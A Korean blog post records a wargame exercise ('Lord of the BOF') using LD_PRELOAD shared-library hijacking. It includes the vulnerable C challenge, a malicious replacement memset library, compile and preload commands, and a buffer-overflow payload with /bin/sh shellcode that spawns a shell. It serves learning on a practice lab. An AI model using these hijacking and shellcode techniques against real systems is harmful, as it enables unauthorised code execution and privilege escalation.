Sh4n3e

Shared Library Hijacking 본문

System Hacking

Shared Library Hijacking

sh4n3e 2017. 6. 26. 15:52

해당 Shared Library Hooking은 그냥 크게 System Hacking이라는 범주에 속하는 것 같아 이렇게 글을 쓴다.

프로그램은 시작하기전에 Symbol들을 로드하여 사용한다. 특히 공유라이브러리는 프로그램이 필요로 할때마다 연동되는 동적인 라이브러리이다. 이것은 메모리, 용량을 절약하기때문에 자원의 활용성 측면에서는 매우 우수하지만, 사용자로부터 접근하기 쉽도록 짜여져있기 때문에, 보안상 문제가 크다.


사용자가 만든 프로그램 소스는 컴파일 되면서 라이브러리를 프로그램에 포함시키지 않고, 프로그램이 동작중에 필요한 symbol이 있을때 공유 라이브러리를 찾아가서 심볼(함수,변수) 정보를 가져온다. shared library hijacking 취약점은 라이브러리를 프로그램이 실행될 때, 공유 라이브러리에서 심볼을 적재하는 과정에서 나타나게 된다.

 

우선은 아래의 문제를 해결해보기 위해 Shared Library Hijacking을 공부하기 시작했다.


/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
     char buffer[40];
     int i;

     if(argc < 2){
          printf("argv error\n");
          exit(0);
     }

     if(argv[1][47] != '\xbf')
     {
          printf("stack is still your friend.\n");
          exit(0);
     }

     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer);

     // stack destroyer!
     memset(buffer, 0, 44);

     memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

 

쉘코드를 삽입해야하는 곳을 모두 초기화하는 memset이란 함수를 Shared Library Hijacking을 이용해서 해당 과정을 수행하지 않도록 하는 Shared Library를 만들어서 우회를 시킬 생각이었다.

 

우선 해당 프로그램이 Shared Library를 사용하는 방식인지 확인한다.

[skeleton@localhost skeleton]$ readelf -d ./melog

Dynamic segment at offset 0x5ec contains 20 entries:
  Tag        Type                         Name/Value
  0x00000001 (NEEDED)                     Shared library: [libc.so.6]
  0x0000000c (INIT)                       0x8048308
  0x0000000d (FINI)                       0x804854c
  0x00000004 (HASH)                       0x8048128
  0x00000005 (STRTAB)                     0x8048204
  0x00000006 (SYMTAB)                     0x8048164
  0x0000000a (STRSZ)                      131 (bytes)
  0x0000000b (SYMENT)                     16 (bytes)
  0x00000015 (DEBUG)                      0
  0x00000003 (PLTGOT)                     0x80495c0
  0x00000002 (PLTRELSZ)                   56 (bytes)
  0x00000014 (PLTREL)                     REL
  0x00000017 (JMPREL)                     0x80482d0
  0x00000011 (REL)                        0x80482c8
  0x00000012 (RELSZ)                      8 (bytes)
  0x00000013 (RELENT)                     8 (bytes)
  0x6ffffffe (VERNEED)                    0x80482a8
  0x6fffffff (VERNEEDNUM)                 1
  0x6ffffff0 (VERSYM)                     0x8048292
  0x00000000 (NULL)                       0
[skeleton@localhost sk 

 

따라서 나는 memset함수에 대한 정의와 함수의 내용을 찾아보았다.

#include <string.h> 
void *memset(void *dst, int c, size_t n)

{

     if (n) {

         char *d = dst;

         do {

             *d++ = c;

         } while (--n);

     }

     return dst;

 

이를 토대로 Shared Library를 작성해보았다. 기능은 유지하되 우회를 시킬 수 있는 소스이다.

 #include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
int a=0;

void * memset(void *dst, int c, size_t n){
     if((int)dst >= 0xbffff000 && (int)dst <= 0xbfffffff){ //이 범위안에 있는 것을 memset하려할때 우회

          printf("hello shared library hook!\n");
     }
     else{
          if (n) {
               char *d = dst;
               do {
                    *d++ = c;
               } while (--n);
          }
          return dst;
     }
}

 

해당 소스를 shared library로 컴파일한다.

gcc shl.c -fPIC -shared -o shl.so 

 

컴파일한 Shared Library를 환경변수로 등록하여 해당 Shared Library를 우선적으로 사용하도록한다.

export  LD_PRELOAD="/home/skeleton/shl.so"

 

이제는 해당 Shared Library를 정확히 사용하는 것이 맞는지 확인하기위해 프로그램을 실행하여 보았다.

(쉘코드나, 기타 ret주소는 사전에 작업했다.)

 [skeleton@localhost skeleton]$ ./melog $(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68

 \x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\xc1\xfd\xff\xbf"')
��������������������1�Ph//shh/bin��PS�ᙰ
                                       ����
hello shared library hook!
hello shared library hook!
bash$

 

이렇게 내가 원하는데로 실행됨을 확인할 수 있다.

하지만 여기서 문제는 내가 언하는 문제에서 작동이 되어야 하는 것인데... 작동을 안한다... 우선은 해당 부분은 성공했으니 기록해본다. 저 문제의 해결방법은 다시 다른 방법이라도 찾아봐야겠다.

 

참고사이트

http://sosal.tistory.com/12

https://bpsecblog.wordpress.com/2016/12/20/seh_3/

http://hkpco.kr/paper/udcsc2006_report.txt

http://inhack.org/wordpress/?p=1833

http://www.ethernut.de/api/memset_8c_source.html

 

 

라이브러리 컴파일

gcc test.c -fPIC -shared -o g.so

 

환경변수 지정

export LD_PRELOAD="/home/~~/xx.so"

 

환경변수 삭제

unset LD_PRELOAD

 

'System Hacking' 카테고리의 다른 글

ELF(Excutable and Linkable Format)?  (0) 2017.06.27
Comments